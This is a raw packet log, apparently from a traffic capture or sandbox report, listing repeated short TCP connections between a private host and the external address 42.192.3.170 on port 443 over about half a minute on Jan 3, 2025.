Jan 3, 2025 02:55:05.496526003 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.496565104 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.496835947 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.496850014 CET	443	50099	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:05.496887922 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.496903896 CET	50099	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.602416992 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.602463961 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:05.602544069 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.602758884 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:05.602777958 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:06.787710905 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:06.787758112 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:06.788938046 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:06.788944960 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:06.791328907 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:06.791333914 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:07.339834929 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:07.339885950 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:07.339910984 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.339941978 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.340301991 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.340321064 CET	443	50100	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:07.340329885 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.340485096 CET	50100	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.445868969 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.445908070 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:07.445967913 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.446270943 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:07.446281910 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:08.647824049 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:08.649663925 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:08.649663925 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:08.649684906 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:08.653459072 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:08.653464079 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:09.200274944 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:09.200340033 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:09.200346947 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.200391054 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.301821947 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.301841021 CET	443	50101	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:09.301850080 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.301891088 CET	50101	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.508997917 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.509042978 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:09.509099960 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.509455919 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:09.509471893 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:10.699099064 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:10.699157953 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:10.699784040 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:10.699789047 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:10.701426029 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:10.701435089 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:11.302704096 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:11.302756071 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:11.302756071 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.302802086 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.303323030 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.303345919 CET	443	50102	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:11.303406954 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.303406954 CET	50102	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.414418936 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.414457083 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:11.414530993 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.415029049 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:11.415040970 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:12.622612953 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:12.622689009 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:12.624517918 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:12.624517918 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:12.624528885 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:12.624543905 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:13.185018063 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:13.185070992 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:13.185091019 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.185117006 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.185503960 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.185514927 CET	443	50103	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:13.185534000 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.185565948 CET	50103	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.289959908 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.289994955 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:13.290059090 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.290319920 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:13.290330887 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:14.584758043 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:14.584849119 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:14.587032080 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:14.587032080 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:14.587043047 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:14.587052107 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:15.197483063 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:15.197544098 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.197560072 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:15.197619915 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.197901964 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.197917938 CET	443	50104	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:15.197928905 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.197964907 CET	50104	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.305727005 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.305773973 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:15.305835009 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.306107998 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:15.306123972 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:16.481409073 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:16.485579967 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:16.485579967 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:16.485598087 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:16.501095057 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:16.501107931 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:17.011734009 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:17.011782885 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:17.011789083 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.011830091 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.012042046 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.012064934 CET	443	50105	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:17.012074947 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.012125969 CET	50105	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.118184090 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.118227005 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:17.118279934 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.118647099 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:17.118658066 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.301769018 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.305219889 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.309319019 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.309319019 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.309329987 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.309344053 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.855276108 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.855334044 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.855334997 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.855384111 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.855681896 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.855695963 CET	443	50106	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.855703115 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.855736971 CET	50106	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.960619926 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.960664988 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:18.960733891 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.961040974 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:18.961055040 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.167165041 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.171494961 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.171580076 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.171591043 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.172708988 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.172719955 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.722690105 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.722747087 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.722763062 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.722799063 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.723087072 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.723109961 CET	443	50107	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.723119020 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.723150969 CET	50107	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.847058058 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.847115993 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:20.847173929 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.847441912 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:20.847462893 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.011044025 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.013366938 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.014115095 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.014130116 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.017199039 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.017205954 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.543467999 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.543533087 CET	443	50108	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.547379971 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.547379971 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.547476053 CET	50108	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.665071011 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.665100098 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:22.669622898 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.669622898 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:22.669648886 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:23.909164906 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:23.909276009 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:23.910959959 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:23.910959959 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:23.910968065 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:23.910981894 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:24.446017981 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:24.446074963 CET	443	50109	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:24.450241089 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:24.450241089 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:24.450391054 CET	50109	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:24.558751106 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:24.558803082 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:24.561156034 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:24.565047026 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:24.565064907 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:25.732980967 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:25.733052015 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:25.734774113 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:25.734774113 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:25.734782934 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:25.734802008 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:26.268651009 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:26.268704891 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:26.268728018 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.268759012 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.269218922 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.269218922 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.269241095 CET	443	50110	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:26.269345999 CET	50110	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.382508039 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.382541895 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:26.382688046 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.382957935 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:26.382968903 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:27.563124895 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:27.563216925 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:27.563927889 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:27.563934088 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:27.565638065 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:27.565643072 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:28.099344969 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:28.099397898 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:28.099482059 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.099762917 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.099777937 CET	443	50111	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:28.099848986 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.099924088 CET	50111	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.246246099 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.246270895 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:28.246543884 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.246961117 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:28.246974945 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.416307926 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.416377068 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:29.417028904 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:29.417036057 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.418713093 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:29.418716908 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.944256067 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.944319010 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.944488049 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:29.944819927 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:29.944819927 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:29.944833040 CET	443	50112	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:29.945144892 CET	50112	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:30.054510117 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:30.054560900 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:30.055063009 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:30.055356026 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:30.055372000 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.231161118 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.231220007 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.231781960 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.231792927 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.233345032 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.233350039 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.762379885 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.762432098 CET	443	50113	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.765580893 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.765580893 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.765697956 CET	50113	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.885387897 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.885418892 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:31.885658979 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.889053106 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:31.889065027 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.062319994 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.062378883 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.062941074 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.062947989 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.064527988 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.064532042 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.614940882 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.614991903 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.615004063 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.615015030 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.615046978 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.615067959 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.615257025 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.615269899 CET	443	50114	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.615305901 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.615339041 CET	50114	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.727431059 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.727473974 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:33.727533102 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.727863073 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:33.727878094 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:34.891139984 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:34.891221046 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:34.891784906 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:34.891796112 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:34.893599987 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:34.893605947 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:35.425741911 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:35.425796032 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:35.425806046 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.425837040 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.426244020 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.426263094 CET	443	50115	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:35.426274061 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.426306009 CET	50115	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.539936066 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.539979935 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:35.540039062 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.540360928 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:35.540375948 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:36.733549118 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:36.737530947 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:36.737530947 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:36.737564087 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:36.741455078 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:36.741461039 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:37.313539982 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:37.313601017 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:37.313605070 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.313664913 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.314042091 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.314062119 CET	443	50116	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:37.314073086 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.314100981 CET	50116	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.430705070 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.430741072 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:37.430800915 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.431158066 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:37.431169033 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:38.633528948 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:38.637655020 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:38.637655020 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:38.637679100 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:38.641588926 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:38.641592979 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:39.187290907 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:39.187347889 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.187370062 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:39.187391996 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:39.187407970 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.187434912 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.187768936 CET	50117	443	192.168.2.4	42.192.3.170
Jan 3, 2025 02:55:39.187783957 CET	443	50117	42.192.3.170	192.168.2.4
Jan 3, 2025 02:55:39.187793970 CET	50117	443	192.168.2.4	42.192.3.170
